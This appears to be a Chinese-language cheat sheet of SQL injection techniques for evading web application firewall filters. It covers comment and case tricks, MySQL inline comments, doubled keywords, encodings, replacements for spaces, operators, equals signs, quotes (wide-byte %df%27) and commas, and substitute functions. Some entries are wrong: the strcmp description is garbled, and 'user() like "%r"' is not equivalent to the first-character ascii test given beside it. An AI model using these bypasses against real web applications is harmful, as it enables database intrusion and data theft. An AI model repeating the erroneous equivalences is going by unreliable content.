1.注釋符繞過
--注釋內容
#注釋內容
/*注釋內容*/
;
2.大小寫繞過
常用與waf的正則對大小寫不敏感的情況下
例:waf過濾了關鍵字select,可以用Select繞過過濾
3.內聯注釋繞過
內聯注釋就是把一些特有的僅在MySQL上的語句放在/*!...*/中,這些語句如果在其它數據庫中不會被執行,但在MySQL中會執行
4.雙寫關鍵字繞過
在某一些簡單的waf,將關鍵字select等只使用replace()函數置換為空,這個時候可以使用雙寫關鍵字繞過
例:select --> seleselectct 在經過waf的處理之后變成select,達到繞過的目的
5.特殊編碼繞過
把需要注入的語句換成其他編碼形式,如:十六進制、ASCII編碼
6.空格過濾繞過
一般用下面的方法取代空格,繞過空格過濾:
/**/
()
回車(url編碼中的%0a)
`(tab鍵上面的按鈕)
tab
兩個空格
7.過濾or and xor not繞過
and = &&
or = ||
xor = | 異或關系
not = !
8.過濾等號=繞過
1.不加通配符的like、rlike執行的效果和 = 一致
2.regexp操作符用於配匹正則表達式, id regexp 1 與 id = 1 效果一樣
3.使用大小於號來繞過,id > 1 and id < 3 與 id = 1 效果一樣
4.<>等價於!= 所以在前面加一個!結果就是等號 !(id<>1) 與 id = 1 效果一樣
9.過濾大小於號繞過
1.greates(n1,n2,n3,...): 返回n中的最大值
2.least(n1,n2,n3,...): 返回n中的最小值
3.strcmp(str1,str2): 若所有的字符串均相同,則返回STRCMP(),若根據當前分類次序,第一個參數小於第二個參數,則返回-1,其他情況返回1
4.in 關鍵字,str1 in str2 字符串1是否在字符串2中
5.between a and b :范圍在a-b之間 (也可用於 = 繞過:id between 1 and 1 與 id = 1 效果相同)
10.過濾引號繞過
1.使用十六進制
2.寬字節
過濾單引號時 %bf%27 %df%27 %aa%27
%df\' = %df%5c%27 = 縗'
11.過濾逗號繞過
SQL盲注時常用到的函數 substr(),mid(),limit()等,如果waf過濾了逗號,並且只能盲注,那我們就要采取一些其他的函數代替了:
substr("string",pos,len) 等價於 substr("string" from pos for len)
union select 1,2,3 等價於 union select * from (select 1)a join (select 2)b join(select 3)c
select ascii(substr(user(),1,1))=114 等價於 select user() like"%r"
limit 2,1 等價於 limit 1 offset 2
12.過濾函數繞過
sleep() --> benchmark(x,y) 第一個參數是執行次數,第二個參數是執行的表達式
ascii() --> hex()、bin() 替換之后再使用對應的進制轉string即可
group_concat("str1", "," ,"str2") --> concat_ws("," , "str1" , "str2")